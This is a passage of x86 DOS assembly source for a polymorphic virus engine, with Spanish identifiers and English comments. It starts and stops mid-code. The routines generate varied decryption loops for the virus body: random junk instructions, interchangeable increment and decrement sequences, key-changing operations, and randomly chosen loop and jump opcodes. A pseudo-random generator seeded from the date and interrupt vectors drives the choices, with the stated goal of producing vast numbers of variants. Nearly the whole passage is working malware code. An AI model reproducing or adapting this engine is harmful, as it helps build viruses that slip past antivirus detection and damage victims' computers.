DH, AL ; Insert an "ADD Counter," + CALL PonADD + CALL HazBasuraAleatoria ; Do garbage + INC DH ; Insert a "SUB Counter,+1" + CALL PonSUB + RET ; Return +; Construct a "SUB Counter,1" + PonSUBbyte2: MOV DH, 01 ; Value to be subtracted + CALL PonSUB ; Store the SUB + RET ; Return +; Construct a "NEG Counter/NOT Counter" +@@PonNEGNOT: MOV AL, 0F7h ; Put in AL the first opcode + MOV AH, DL ;Construct in AH the second opcode with + OR AH, 0D8h ; the register, etc. + STOSW ; Store "NEG Counter" + CALL HazBasuraAleatoria ; Do garbage + AND AH, 0F7h ; Transform "NEG" to "NOT" + STOSW ; Store "NOT Counter" + RET ; Return + +;; Procedure to increase index register (it always goes fowards) +IncrementaIndice PROC + CMP BYTE PTR [TipoDeDesencriptador-200h], 0 + JZ Especial + MOV DL, [RegistroIndice-200h] ; Get in DL the register + CMP DL, 07h ; Is it DI? + JZ @@Especial ; Then do special instructions + @@Normal: TEST BP, 0080h ; Test if byte or word decryption + JZ @@NormalWord ; Jump if word decryption +;; Construct byte increasement + @@NormalByte: CALL Aleatorio ; Get a random between 0 and 7 + AND AL, 07h + JZ PonINCbyte ; If 0, then store "INC" + CMP AL, 02 + JB PonADDbyte ; If 1, then store "ADD" + JZ PonADDSUBbyte ; If 2, store "ADD/SUB" combination + CMP AL, 04 + JB PonSUBbyte ; If 3, store "SUB" + JZ PonSUBADDbyte ; If 4, store "SUB/ADD" combination + CMP AL, 06 + JB PonNOTNEG ; If 5, store "NOT/NEG" combination + JZ @@PonLEAbyte ; If 6, store "LEA" +; Store "INC" + PonINCbyte: CALL PonINC ; Put the INC + RET ; Return +; Store "ADD" + PonADDbyte: MOV DH, 01 ; Put the "ADD Index,1" + CALL PonADD + RET ; Return +; Store "ADD/SUB" combination + PonADDSUBbyte: CALL Aleatorio ; Get a random between 0 and 7Eh + AND AL, 7Fh + JZ PonADDSUBbyte + MOV DH, AL ; Construct an ADD with it + CALL PonADD + CALL HazBasuraAleatoria ; Do garbage + SUB DH, 01 ; Decrease this byte and put a SUB + CALL PonSUB + RET ; Return +; Store a SUB + PonSUBbyte: MOV DH, 0FFh ; Construct a "SUB Index,-1" + CALL PonSUB + RET ; Return +; Store a SUB/ADD combination + PonSUBADDbyte: CALL Aleatorio ; Get a random between 0 and 7Eh + AND AL, 7Fh + CMP AL, 7Fh + JZ PonSUBADDbyte + MOV DH, AL ; Construct a SUB + CALL PonSUB + CALL HazBasuraAleatoria ; Do garbage between instructions + ADD DH, 01 ; Increase random value and do an ADD + CALL PonADD + RET ; Return + +; Store a NOT/NEG combination + PonNOTNEG: MOV AL, 0F7h ; Construct a NOT instruction with the + MOV AH, DL ; register
+ OR AH, 0D0h + STOSW ; Store it + CALL HazBasuraAleatoria ; Do garbage + OR AH, 0D8h ; Convert NOT to NEG + STOSW ; Store it + RET ; Return + +; Construct a LEA +@@PonLEAbyte: MOV DH, 01 ; Put a LEA type "LEA Index,[Index+1]" + CALL PonLEA + RET ; Return + +;; Construct word increasement +@@NormalWord: CALL Aleatorio ; Get a random between 0 and 7 + AND AL, 07h + JZ @@PonINCword ; If 0, put a pair of INCs + CMP AL, 02 + JB @@PonADDword ; If 1, store "ADD" + JZ @@PonADDSUBword ; If 2, store "ADD/SUB" + CMP AL, 04 + JB @@PonSUBword ; If 3, store "SUB" + JZ @@PonSUBADDword ; If 4, store "SUB/ADD" + CMP AL, 06 + JB @@PonADDINCword ; If 5, store "ADD/INC" + JZ @@PonDECADDword ; If 6, store "DEC/ADD" +; Construct "LEA Counter,[Counter+2]" +@@PonLEAword: MOV DH, 02 ; Insert the LEA + CALL PonLEA + RET ; Return +; Construct two INCs (INC/INC) +@@PonINCword: CALL PonINC ; Put an INC + JMP PonINCbyte ; Jump to insert one INC more +; Construct an "ADD" +@@PonADDword: MOV DH, 02 ; Do a "ADD Index,2" + CALL PonADD ; Store it and return + RET +; Construct "ADD/SUB" +@@PonADDSUBword: CALL Aleatorio ; Get a random between 0 and 7Eh + AND AL, 7Fh + CMP AL, 7Fh + JZ @@PonADDSUBword + MOV DH, AL ; Put it on DH + @@SaltaConyo: CALL PonADD ; Store an "ADD" + CALL HazBasuraAleatoria ; Do garbage + SUB DH, 02 ; Subtract 2 to random number + CALL PonSUB ; Store a SUB + RET ; Return +; Construct "SUB" +@@PonSUBword: MOV DH, 0FEh ; Construct "SUB Index,-2" + CALL PonSUB + RET ; Return +; Construct a "SUB/ADD" pair +@@PonSUBADDword: CALL Aleatorio ; Get a random number between 0 and 7Eh + AND AL, 7Fh + CMP AL, 7Fh + JZ @@PonSUBADDword + MOV DH, AL ; Construct a "SUB" + CALL PonSUB + CALL HazBasuraAleatoria ; Do garbage + ADD DH, 02 ; Construct an "ADD" that adds two more + CALL PonADD ; than the subtracted before + RET ; Return +; Construct "ADD/INC" +@@PonADDINCword: MOV DH, 01 ; Construct an "ADD Index,1" + CALL PonADD + CALL HazBasuraAleatoria ; Do garbage + CALL PonINC ; Construct an "INC Index" + RET ; Return +; Construct "DEC/ADD" +@@PonDECADDword: CALL PonDEC ; Construct a "DEC Index" + CALL HazBasuraAleatoria ; Do garbage + MOV DH, 03 ; Construct an "ADD Index,3" + CALL PonADD + RET ; Return +; Special manners of increasing the index register (when it's DI) + @@Especial: CALL SioNo ; Random Zero Flag + JNZ @@Normal ; If not Zero Flag, do normal things :) + TEST BP, 0080h ; Check if byte or word index + JZ @@HazWORD ; If word, jump + ; Byte DI increasing +@@HazByte: CALL Aleatorio ; Get a random between 0 and 3 + AND AL, 03 + JZ @@PonSCASB ; If 0, store "SCASB" + CMP AL, 02 + JB @@PonDECSCASW ; If 1, store "DEC DI/SCASW" + JZ @@PonSCASWDEC ; If 2, store "SCASW/DEC DI" +; Store "ADD DI,2/STD/SCASB" or "ADD DI,3/STD/SCASW" +@@PonADDSCASB: MOV AX, [InicioVirus-200h+1+16h] ; Check if SCASW applied + SUB AX, [SumaIndice-200h] ; to a possible DI=FFFFh will + AND AL, 1 ; cause an exception + MOV DH, AL ; If index is even, then DH=1, otherwise + XOR DH, 1 ; DH=0 + CALL Aleatorio ; Get a random word in AX + AND AL, DH ; Get 0 or 1 in AL + ADD AL, 02 ; Get 2 or 3 in AL + MOV DH, AL ; Put it in DH + CALL PonADD ; Put an "ADD DI," + CALL HazBasuraAleatoria ; Do garbage + MOV AH, DH ; Put this value in AH + ADD AH, 0ACh ; Add to convert to SCASB/SCASW + MOV AL, 0FDh ; Insert CLD (to subtract to DI) + STOSW ; Insert that + RET ; Return +; Store "CLD/SCASB" +@@PonSCASB: MOV AX, 0AEFCh ; Construct "CLD/SCASW" + STOSW ; Store them + RET ; Return +; Store "DEC DI/CLD/SCASW" +@@PonDECSCASW: MOV AX, [InicioVirus-200h+1+16h] ; Check if DI is even or + SUB AX, [SumaIndice-200h] ; add decrypting. If it's + AND AX, 1 ; odd, avoid "SCASW" because + JNZ @@HazByte ; it would cause an exception + CALL PonDEC ; Construct "DEC DI" + CALL HazBasuraAleatoria ; Do garbage + MOV AX, 0AFFCh ; Put "CLD/SCASW" + STOSW ; Store instruction + RET ; Return +; Construct "CLD/SCASW/DEC DI" +@@PonSCASWDEC: MOV AX, [InicioVirus-200h+1+16h] ;Check for a possible ex- + SUB AX, [SumaIndice-200h] ; ception that would hang the + AND AX, 1 ; computer. + JNZ @@HazByte ; If a exception is possible, jump + MOV AX, 0AFFCh ; Store "CLD/SCASW" + STOSW + CALL HazBasuraAleatoria ; Do garbage + CALL PonDEC ; Store "DEC DI" + RET ; Return + ; Word DI increasing +@@HazWord: CALL Aleatorio ; Get a random between 0 and 3 + AND AL, 03 + JZ @@PonSCASW ; If 0, store "CLD/SCASW" + CMP AL, 02 + JB @@PonINCSCASB ; If 1, store "INC DI/CLD/SCASB" + JZ @@PonSCASBINC ; If 2, store "CLD/SCASB/INC DI" +; Construct "ADD DI,1/CLD/SCASB" or "ADD DI,0/CLD/SCASW" +@@PonADDSCASB2: MOV AX, [InicioVirus-200h+1+16h] ; Check for exceptions + SUB AX, [SumaIndice-200h] + AND AL, 1 ;AL = 1 if an exception could + JNZ @@Ssssalto ;happen, and jump + CALL Aleatorio ; Get a random 0 or 1 + AND AL, 01 + @@Ssssalto: MOV DH, AL ; Put AL in DH + CALL PonADD ; Store "ADD DI," + CALL HazBasuraAleatoria ; Do garbage + MOV AH, DH ; Calculate "SCASB" or "SCASW" + NEG AH + ADD AH, 0AFh + MOV AL, 0FCh ; Put "CLD" + STOSW ; Store the two instructions + RET ; Return +; Construct "INC DI/CLD/SCASB" +@@PonINCSCASB: CALL PonINC ; Put "INC DI" + CALL HazBasuraAleatoria ; Do garbage + MOV AX, 0AEFCh ; Put "CLD/SCASB" + STOSW ; Store it + RET ; return +; Construct "CLD/SCASB/INC DI" +@@PonSCASBINC: MOV AX, 0AEFCh ; Put "CLD/SCASB" + STOSW ; Store instruction + CALL HazBasuraAleatoria ; Do garbage + CALL PonINC ; Put "INC DI" + RET ; Return +; Construct "CLD/SCASW" +@@PonSCASW: MOV AX, [InicioVirus-200h+1+16h] ;If a exception may + SUB AX, [SumaIndice-200h] ; occur, then avoid this and + AND AX, 1 ; search for another type of + JNZ @@HazWord ; increasement + MOV AX, 0AFFCh ; Construct "CLD/SCASW" + STOSW ; Store it + RET ; Return +IncrementaIndice ENDP +ModificaContador ENDP + +;;; This procedure is to modify the index in the Zhengxi-like loop +ModificaIndice PROC + mov ax, [TamanyoContador-200h] ; Get the size of the + ; counter + movzx cx, byte ptr [TamanyoBloque-200h] ; Get the size of + ; the blocks + xor dx, dx ; Divide size of virus by size of blocks + div cx + inc ax ; AX = Number of blocks + mul cx ; AX = Size of virus rounded to block size + mov cx, ax ; Put it on CX + TEST BP, 0080h ; Test if the decryptor will be decrypted by + JNZ @@Byte ; words or bytes, then jump + DEC CX + @@Byte: DEC CX + neg cx ; Negate CX + JMP SaltoEspecial ; Jump +Especial PROC + MOVZX CX, BYTE PTR [TamanyoBloque-200h] ; Get block size in + ; CX +;;; All the code till the end of the procedure will be uncommented. I'm lazy +;;; now to do it :) +SaltoEspecial: MOV DL, [RegistroIndice-200h] + @@Repete: CALL Aleatorio + AND AL, 7 + JZ @@PonADDSUB + CMP AL, 2 + JB @@PonSUBADD + JZ @@PonADD1 + CMP AL, 4 + JB @@PonSUB1 + JNZ @@Repete +@@PonLEA: MOV AL, DL + MOV BX, Offset TablaIndices - 200h + XLAT + AND AL, 3Fh + CMP CX, +7Fh + JBE @@KK1 + OR AL, 80h + DB 3Dh + @@KK1: OR AL, 40h + MOV AH, AL + MOV AL, 8Dh + ROL DL, 3 + OR AH, DL + STOSW + MOV AX, CX + CMP CX, 007Fh + JBE @@KK2 + STOSW + RET +@@PonADDSUB: PUSH CX + CALL Aleatorio + MOV CX, AX + CALL @@PonADD + CALL HazBasuraAleatoria + POP AX + SUB CX, AX + JMP @@PonSUB +@@PonSUBADD: PUSH CX + CALL Aleatorio + MOV CX, AX + CALL @@PonSUB + CALL HazBasuraAleatoria + POP AX + ADD CX, AX + JMP @@PonADD +@@PonADD1: CALL SioNo + JZ @@PonADD + CMP CX, +7Fh + JA @@PonADD + MOV AX, 0C083h + @@Sigue2: ADD AH, DL + STOSW + MOV AL, CL + @@KK2: STOSB + RET +@@PonSUB1: NEG CX + CMP CX, +7Fh + JA @@PonSUB + CALL SioNo + JZ @@PonSUB + MOV AX, 0E883h + JMP @@Sigue2 +@@PonSUB: MOV AX, 0E881h + JMP @@Sigue1 +@@PonADD: MOV AX, 0C081h + @@Sigue1: ADD AH, DL + STOSW + MOV AX, CX + STOSW + RET +Especial ENDP +ModificaIndice ENDP + +;; Procedure to modify the key when it's modified every loop on the decryption +ModificaRegistro PROC + MOV DL, [RegistroEncriptado-200h] ; Get key register in DL + TEST BP, 0100h ; If no register is used like key, + JZ @@Fin ; exit + TEST BP, 0004h ; Will we modify the key every loop? + JZ @@Fin ; If not, exit + CALL Aleatorio ; Get a random word in AX + MOV [WordCambio-200h], AX ; Store it here + TEST BP, 0020h ; Test method of changing + JZ @@PonXORoSUB ; If Zero Flag, put XOR or SUB + @@PonADDoROL: TEST BP, 0040h ; Test if ADD or ROL,1 + JZ @@PonADD ; If Zero Flag, ADD + @@PonROL: MOV AX, 0C0D1h ; Insert a "ROL Key_Reg,1" + OR AH, DL ; Set register + STOSW ; Store instruction + @@Fin: RET ; Return + @@PonADD: MOV AX, 0C081h ; Insert an "ADD Key_Reg,xxxx" + CALL SioNo ; Random Zero Flag + JZ @@Pon2ADD ; If Zero Flag, do it in 2 adds + @@Saltoop: OR AH, DL ; Set register on opcode + STOSW ; Store instruction + MOV AX, [WordCambio-200h] ; Store value of changing + STOSW + RET ; Return + @@Pon2ADD: + @@Saltooo: OR AH, DL ; Set register on instruction + STOSW ; Store it + PUSH AX ; Save the instruction + CALL Aleatorio ; Get a random value in AX + MOV CX, AX ; Save it on CX + MOV AX, [WordCambio-200h] ; Subtract it from the value of + SUB AX, CX ; changing + STOSW ; Store the result + CALL HazBasuraAleatoria ; Do garbage + POP AX ; Get the instruction again + STOSW ; Store it + MOV AX, CX ; Store the complementation of the + STOSW ; word of changing + RET ; Return + + @@PonXORoSUB: TEST BP, 0040h ; Is it XOR or SUB? + JZ @@PonXOR ; If bit=0, do XOR + @@PonSUB: MOV AX, 0E881h ; Construct a "SUB" + CALL SioNo ; Do it in twice? + JZ @@Saltooo ; If yes, jump here + JMP @@Saltoop ; If not, store direct value and finish + @@PonXOR: MOV AX, 0F081h ; Construct the "XOR" instruction and + JMP @@Saltoop ; jump to store it +ModificaRegistro ENDP + +;; This procedure constructs a LEA with a value passed in DH +PonLEA PROC + MOV AL, 8Dh ; Store LEA opcode + STOSB + MOV AL, DL ; Get encoding for this register + MOV BX, Offset TablaIndices - 200h + XLAT + AND AL, 07h ; Anulate other bits (if it is BP) + ROL DL, 3 ; Prepare it for the second opcode + OR AL, DL + CALL SioNo ; Random Zero Flag + JZ @@Salto02 ;If Zero Flag, set a byte-adding index + OR AL, 40h + STOSB + MOV AL, DH ; Put direct value + STOSB + RET ; Return + @@Salto02: OR AL, 80h ; Set a word-adding index + STOSB ; Store the second opcode + MOV AL, DH ; Get the byte to add + CBW ; Convert in AX to a signed one + STOSW ; Store the resulting word + RET ; Return +PonLEA ENDP + +;; Procedure to insert an "INC" or a "DEC" with the register in DL. This ins- +;; tructions can be made with two different opcodes, so the routine uses them. +;;; Here to make a DEC +PonDEC PROC + PUSH CX ; Save CX + MOV CL, 08h ; Put "DEC" + JMP Sigue ; Jump here +;;; Here to make an INC +PonINC PROC + PUSH CX ; Save CX + XOR CL, CL ; Put "INC" + Sigue: CALL SioNo ; Random Zero Flag + JZ @@Salto01 ; If Zero Flag, jump + ; One type of opcode + MOV AL, 0FFh ; Offset of some instructions + MOV AH, DL ; Put register in AH + OR AH, 0C0h ; Set "register operation" on + OR AH, CL ; Put INC or DEC + STOSW ; Store the instruction + POP CX ; Recover CX + RET ; Return + ; Another type of opcode + @@Salto01: MOV AL, DL ; Put register in AL + OR AL, 40h ; Add 40h to the register + OR AL, CL ; Set INC or DEC in the instruction + STOSB ; Store it + POP CX ; Recover CX + RET ; Return +PonINC ENDP +PonDEC ENDP + +;; Procedure to construct an ADD instruction with two different types: with +;; word operand and word reduced to signed byte. We must pass the value to add +;; in DH +PonADD PROC + MOV AH, 0C0h ;Set "register operation" on in the second + ;opcode and ADD operation + PonALGO: MOV AL, 81h ; Main opcode + OR AH, DL ; Put register to use + STOSW ; Store instruction + MOV AL, DH ; Put value to add in AL + CBW ; Extende AL to word with signe in AX + CALL SioNo ; Random Zero Flag + JZ @@Salto001 ;If Zero Flag, go on with this instruction + MOV BYTE PTR [DI-02], 83h ; Change it to "word but repre- + ; sented by a signed byte" inst. + STOSB ; Store AL + RET ; Return + @@Salto001: STOSW ; Store AX + RET ; Return +PonADD ENDP + +;; This procedure uses the procedure above. It only put in AH the bit field +;; (15,14) to 1,1 to set register operation on, and it jumps to the other rou- +;; tine because the other things to do are the same. +PonSUB PROC + MOV AH, 0E8h + JMP PonALGO +PonSUB ENDP + +MeteComprueba2 PROC + MOVZX AX, [TamanyoBloque-200h] + MOV CX, [InicioVirus-200h+1+16h] + SUB CX, [SumaIndice-200h] + ADD CX, AX + JMP ComparacionBis + +; This routine inserts a compare instruction (for the decryption loop, to know +; if it has to end decryption) +MeteComprueba PROC + MOV DL, [RegistroContador-200h] ;Get counter register in + CMP DL, 04 ; DL. If DL = 4, do a CMP + JZ Comparacion ; with the index + CMP DL, 01 ; Check if it is CX + JNZ @@Gimma ; If not, jump + TEST BP, 0001h ;Is counter going fowards or backwards? + JNZ @@Gimma ; If it's going fowards, jump + TEST BP, 6000h ; Are we going to use any LOOP instr.? + JNZ @@MeteParaLOOP ; If yes, jump here + @@Gimma: CALL Aleatorio ; Get a random word in AX + AND AL, 01 ; Get random 0 or 1 in AL + JZ @@FuncionLogica ; If 0, jump here + ; This sets an instruction type "CMP AX,0000" or "ADD AX,+00", to change/set + ; flags and use them +@@Operacion: MOV BX, Offset OpcodesComprueba - 200h ; It gets an opcode + MOV AL, AH ; for ADD, SUB, CMP or CMP (twice) :) + AND AL, 03 + XLAT + MOV AH, AL ; Put got opcode in AH + OR AH, DL ; Set register to opcode + MOV AL, 81h ; Set main opcode + MOV CX, AX ; Save it on CX + CALL Aleatorio ; Get a random word in AX + AND AL, 02 ; Get random 0 or 2 in AL + XCHG CX, AX ; Exchange instruction with random + OR AL, CL ; Add 2 or nothing to opcode, to get + ; 81h or 83h + STOSW ; Store instruction + XOR AX, AX ; AX=0 + CMP CL, 02 ;If it's opcode 83h, store only a byte + JZ @@Inserta1 + @@Inserta2: STOSW ; If not, insert a word + RET + @@Inserta1: STOSB + RET + ; This inserts an instruction type "AND AX,AX" or "TEST BP,BP" +@@FuncionLogica: CALL Aleatorio ; Get a random number between 0 and 2 + AND AL, 03 + JZ @@FuncionLogica + DEC AL + MOV BX, Offset OpcodesLogicos - 200h ; Get one of the op- + XLAT ; codes here (OR,AND or TEST) + CMP AL, 85h ; Check if it's TEST + JZ @@Salta ; If it's TEST, jump + AND AH, 02 ; Get a random 0 or 2 + ADD AL, AH ; Add it to that got opcode + @@Salta: MOV AH, DL ; Construct an instruction type "Operation + ROL AH, 3 ; Reg,Reg", being "Reg" the same in the + OR AH, DL ; left and the right of the comma. + OR AH, 0C0h + STOSW + RET + ; Here if we are going to put a LOOP instruction. We need a comparision to + ; activate some flags and make the LOOP. For example, to do a LOOPZ we insert + ; a comparision of a register with itself, so Zero Flag will be activated. + ; For a LOOPNZ, the best is compare CX with 0, because it's going to be fal- + ; se, so Zero Flag won't be activated +@@MeteParaLOOP: MOV AX, BP ; Get type of LOOP in AH + AND AX, 6000h + CMP AH, 40h ; Check type of LOOP + JZ @@PonLOOPZ ; Jump here if LOOPZ + JB @@PonLOOPNZ ; Jump here if LOOPNZ + RET ; Return if LOOP + @@PonLOOPZ: CALL Aleatorio ; Get a random AX + AND AL, 03 ; Get a random between 0 and 3 in AL + ADD AL, 38h ; Add "CMP" opcode + AND AH, 07h ; Get a random register + MOV CL, AH ; Put it on CL + ROL CL, 3 ; Prepare it register field in second opc. + OR AH, CL ; Set it on opcode + OR AH, 0C0h ; Activate "register operation" + STOSW ; Store instruction + RET ; Return + @@PonLOOPNZ: CALL Aleatorio + AND AL, 02h + ADD AL, 81h ; Get a random 81h or 83h in AL + MOV AH, 0F9h ; Construct "CMP CX,xxx" + STOSW ; Store it + TEST AL, 02h ; Check if the main opcode is 81h or 83h + MOV AL, 0 ; AL=0 + JNZ @@Mete1byte ; If 83h, put only one byte + STOSB ; Store byte with value 0 + @@Mete1byte: STOSB ; Store byte with value 0 + RET ; Return + +;;; This code to do a comparision with the index, to get if the loop reached +;;; the end of the decryption +@@ComparacionDeBloque: + MOV AX, [TamanyoContador-200h] + MOVZX CX, BYTE PTR [TamanyoBloque-200h] + XOR DX, DX + DIV CX + INC AX + MUL CX + MOV CX, AX + ADD CX, [InicioVirus-200h+1+16h] + SUB CX, [SumaIndice-200h] + JMP ComparacionBis + +Comparacion: CMP BYTE PTR [TipoDeDesencriptador-200h], 0 + JZ @@ComparacionDeBloque + MOV CX, [InicioVirus-200h+1+16h] + SUB CX, [SumaIndice-200h] + ADD CX, [TamanyoContador-200h] +ComparacionBis: cmp cx, 7fffh + jbe @@KKBis + cmp cx, (8000h + LongVirus2 + 200h) + ja @@KKBis + mov byte ptr [SaltoLoopTipo0-200h], 1 + @@KKBis: MOV DL, [RegistroIndice-200h] + + CALL Aleatorio + AND AH, 3 + JZ @@MeteCMP + + ; jmp @@MeteCMP + +@@MeteOtraCosa: PUSH AX + CALL SioNo + JZ @@PUSHTipo1 +@@PUSHTipo2: MOV AL, 50h + ADD AL, DL + STOSB + JMP @@Sigue001 +@@PUSHTipo1: MOV AX, 0F0FFh + ADD AH, DL + STOSW + @@Sigue001: CALL HazBasuraAleatoria + POP AX + AND AL, 1 + JZ @@MeteSUB +@@MeteCMP2: CALL @@MeteCMP + JMP @@Sigue002 +@@MeteSUB: MOV AX, 0E881h + ADD AH, DL + STOSW + MOV AX, CX + STOSW + @@Sigue002: CALL HazBasuraSinBanderas2 + CALL SioNo + JZ @@POPTipo1 +@@POPTipo2: MOV AX, 0C08Fh + ADD AH, DL + STOSW + RET +@@POPTipo1: MOV AL, 58h + ADD AL, DL + STOSB + RET +@@MeteCMP: MOV AX, 0F881h + ADD AH, DL + STOSW + MOV AX, CX + STOSW + RET +MeteComprueba ENDP +MeteComprueba2 ENDP + +;; Procedure to insert garbage that doesn't affect to the flags that the de- +;; cryptor use to do certain things +HazBasuraSinBanderas2 PROC + call HazBasuraSinBanderas + movzx cx, byte ptr [Cantidad-200h] ; Get in CX the quantity + ; of bytes of the last + ; call to HazBasuraSin- + ; Banderas + or cx, cx ; If 0, end + jz @@Fin + sub di, cx + @@Loop01: cmp byte ptr [di], 0f5h ; CLC + jb @@Jumping + cmp byte ptr [di], 0f8h ; CMC + ja @@Jumping + @@Cont01: call Aleatorio ; Get other instruction + and al, 07h + mov bx, offset BasuraNoBanderas - 200h + xlat + stosb + dec di + jmp @@Loop01 + @@Jumping: inc di + loop @@Loop01 + ret + +;; And this procedure to insert garbage that doesn't affect to other types of +;; comparision, such as signed comparisions and all that. +HazBasuraSinBanderas: + CALL Aleatorio ; Get a random number in AX + AND AX, 0003 ; Get number of instructions + mov byte ptr [Cantidad-200h], al + JZ @@Fin ; If 0, end + MOV CX, AX ; Put it in CX + MOV BX, Offset BasuraNoBanderas - 200h ; Get a random ins- + @@Loop: CALL Aleatorio ; truction from the 7 stored in + AND AL, 07h ; "BasuraNoBanderas" + ; cmp byte ptr [TipoDeDesencriptador-200h], 0 + ; jnz @@kk + ; cmp al, 02 + ; jbe @@Loop + @@kk: XLAT + STOSB ; Store it + LOOP @@Loop ; Repeat CX times + @@Fin: RET ; Return +HazBasuraSinBanderas2 ENDP + +;; Procedure to put the jump to repeat all the decryption process (commonly +;; called "the decryption loop" :) ). It could be one of the LOOPs, or condi- +;; tional jumps of 8/16 bits displacement +MeteSaltoLoop PROC + CMP BYTE PTR [RegistroContador-200h], 04 + JZ @@SaltoPorComprobacion + CMP BYTE PTR [RegistroContador-200h], 01 ; If counter re- + JNZ @@Bigibiggs ; gister isn't CX, jump here + TEST BP, 0001h ; Fowards or backwards? + JNZ @@Bigibiggs ; Jump if fowards + TEST BP, 6000h ; Does it use any LOOP? + JNZ @@Especial ; If it uses them, jump here + ; Here to put normal jumps (not LOOPs) + @@Bigibiggs: MOV AX, BP ;Get if it goes fowards or backwards and set + AND AX, 1 ;0 to BX if it goes backwards, otherwise put + ROL AX, 2 ;4 in BX + MOV BX, Offset Saltos - 200h ; Get a random conditional + ADD BX, AX ; jump from the 4 stored ones for + CALL Aleatorio ; the two modes of counting + AND AL, 03 ;For increasing, it could be: JNZ, JS, JL or + XLAT ;JLE. For decreasing: JNZ, JNS, JGE or JG +@@Salto001: AND AH, 01 ; Random Zero Flag + JZ @@Salto16bits ;If Zero Flag, do 16 bits conditional jump +@@Salto8bits: MOV CX, [InicLoop-200h] ;Get address where the loop starts + SUB CX, DI ;Calculate negated size of decryp- + DEC CX ;tion loop + DEC CX + MOV AH, CL ; Put it like displacement and complete jump + STOSW ; instruction. Store it. + RET ; Return +@@Salto16bits: ADD AL, 10h ; Add 10h to opcode to convert it + MOV AH, AL ; Put it on AH and put 0Fh like main opcode + MOV AL, 0Fh + STOSW ; Store instruction (0F8?h) + MOV AX, [InicLoop-200h] ; Get negated size of decryption + SUB AX, DI ; loop + DEC AX + DEC AX + STOSW ; Store it like displacement (backwards) + RET ; Return + ; Here the LOOPs are constructed + @@Especial: MOV AX, BP ;Get type of LOOP instruction (LOOP, LOOPZ + AND AX, 6000h ;or LOOPNZ) + ROL AX, 3 + ADD AL, 0DFh ; Convert bits to opcode (I prepared this + ; data to do that) + STOSB ; Store opcode + MOV AX, [InicLoop-200h] ;Calculate negated size of decryp- + SUB AX, DI ; tion loop and store it like displace- + DEC AX ; ment + STOSB + RET ; Return + +@@SaltoPorComprobacion: + ; cmp byte ptr [TipoDeDesencriptador-200h], 0 + ; jnz @@KK + ; xor al, al + ; jmp @@KK2 + + cmp byte ptr [TipoDeDesencriptador-200h], 0 + jz @@KK8 + cmp byte ptr [TipoDeDesencriptador-200h], 1 + jnz @@KK + @@KK8: CMP BYTE PTR [SaltoLoopTipo0-200h], 1 + JNZ @@KK4 + mov bx, offset Saltos2 - 200h + jmp @@KK5 + @@KK4: MOV BX, Offset Saltos - 200h + 5 + @@KK5: CALL Aleatorio + AND AL, 1 + JMP @@KK3 + + @@KK: CALL Aleatorio + AND AL, 3 + ; JZ @@SaltoPorComprobacion + jz @@KK + @@KK2: MOV BX, Offset Saltos - 200h + 4 + @@KK3: XLAT + JMP @@Salto001 +MeteSaltoLoop ENDP + +;; Procedure to initialize the random seed (when it has to initialize it) +InicAleatorio PROC + MOV AH, 1Ah ; Get date in CX and DX + CALL Int21h + AND DX, 0FFFCh ;Get a different date only every four days + XOR DX, CX ;Mix the two numbers (day/month with year) + PUSH ES ; Save ES + XOR AX, AX ; Get some values from the TVI, so it will + MOV ES, AX ; depend on the host system + MOV CX, ES:[0074h] + @@Cosa: XOR DX, CX ; Mix them + ADD CX, DX + MOV AX, ES:[0040h] ; Get IP of int 10h + XOR AX, CX ; Mix it + MOV [WordAleatorio1-200h], DX ;Save result values like new + MOV [WordAleatorio2-200h], CX ;operation words for the + MOV [WordAleatorio3-200h], AX ;random generator + POP ES ;Restore ES + RET ; Return +InicAleatorio ENDP + +WordAleatorio1 DW 481Dh ; Values to operate when a random number is +WordAleatorio2 DW 0AD71h ; being generated +WordAleatorio3 DW 95F4h + +;; One of the most important functions inside the polymorphism engine. It ge- +;; nerates a random word in AX. The sequence of random numbers wouldn't be +;; repeated until it generates 281.474.976.710.656 numbers, so teorically this +;; number is the quantity of possible variants of the virus (uuuf... :) ). +Aleatorio PROC + PUSH CX ; Save CX + MOV AX, [WordAleatorio1-200h] ; Get word in AX + DEC WORD PTR [WordAleatorio1-200h] ; Decrease it + XOR AX, [WordAleatorio2-200h] ;XOR it with other word + MOV CX, AX ; Put it in CX + ROL WORD PTR [WordAleatorio1-200h], CL ; Rotate CL times + ; the first word + ADD [WordAleatorio1-200h], AX ; Add AX to this word + ADC AX, [WordAleatorio2-200h] ; Add second word to AX + ADD AX, CX ; Add CX to AX + ROR AX, CL ; Rotate AX with CL + NOT AX ; Inverse all bits in AX + SUB AX, 0003 ; Subtract a fix quantity, so it ne- + ; ver will be the same than before + XOR [WordAleatorio2-200h], AX ; XOR second word with AX + XOR AX, [WordAleatorio3-200h] ; XOR AX with the third word + ROL WORD PTR [WordAleatorio3-200h], 1 ; Rotate 3rd word + SUB WORD PTR [WordAleatorio3-200h], CX ; Subtract CX + SBB WORD PTR [WordAleatorio3-200h], 4 ; Subtract a fix + ; quantity + INC WORD PTR [WordAleatorio2-200h] ; Increase 2nd word + POP CX ; Return with a random in AX + RET ; Return +Aleatorio ENDP + +;; This procedure constructs the instruction which will jump to the second de- +;; cryptor or to the decrypted virus body. +SaltoInicio PROC + PUSH Offset @@Fin1 - 200h ; Save this address onto stack + MOV AX, BP ; Get instruction to jump + AND AX, 0C00h + ROL AX, 6 + CMP AL, 01 + JB @@PonJMP ; If 0, put "JMP" +;;; JMP @@PonJMP + JZ @@PonRET ; If 1, put "RET" + CMP AL, 03 + JB @@PonRETF ; If 2, put "RETF" + ; Put an IRET, a RETF 0002 or a RET 0004 + @@PonIRET: CALL Aleatorio ; Get a random number between 1 and 3 + AND AL, 03 + JZ @@PonIRET + CMP AL, 02 ; Check number + JB @@PonRET0004 ; If AL=1, then put "RET 0004" + JZ @@PonRETF0002 ; If AL=2, then put "RETF 0002" + MOV AL, 0CFh ; Put IRET + RET ; Jump to @@Fin1 + @@PonRET0004: MOV AX, 04C2h ;Put "RET" and the first part of the num- + @@Salto1: STOSW ; ber before (0004) + XOR AL, AL ; Store 0 when return + RET + @@PonRETF0002: MOV AX, 02CAh ; Put "RETF" and the first part of the + JMP @@Salto1 ; number before "0002" when jump + ; Put a RETF or a RET 0002 + @@PonRETF: CALL SioNo ; Random Zero Flag + JZ @@PonRET0002 ; If Zero Flag, put RET 0002 + MOV AL, 0CBh ; Insert RETF + RET ; Jump to @@Fin1 + @@PonRET0002: MOV AX, 02C2h ; Insert "RET" and the first part of the + JMP @@Salto1 ; "0002" when jump + ; Put a RET + @@PonRET: MOV AL, 0C3h ; "RET" opcode in AL + RET ; Jump to @@Fin1 + ; Put a JMP + @@PonJMP: MOV AL, 0E9h ; Insert "JMP" opcode + STOSB + MOV AX, 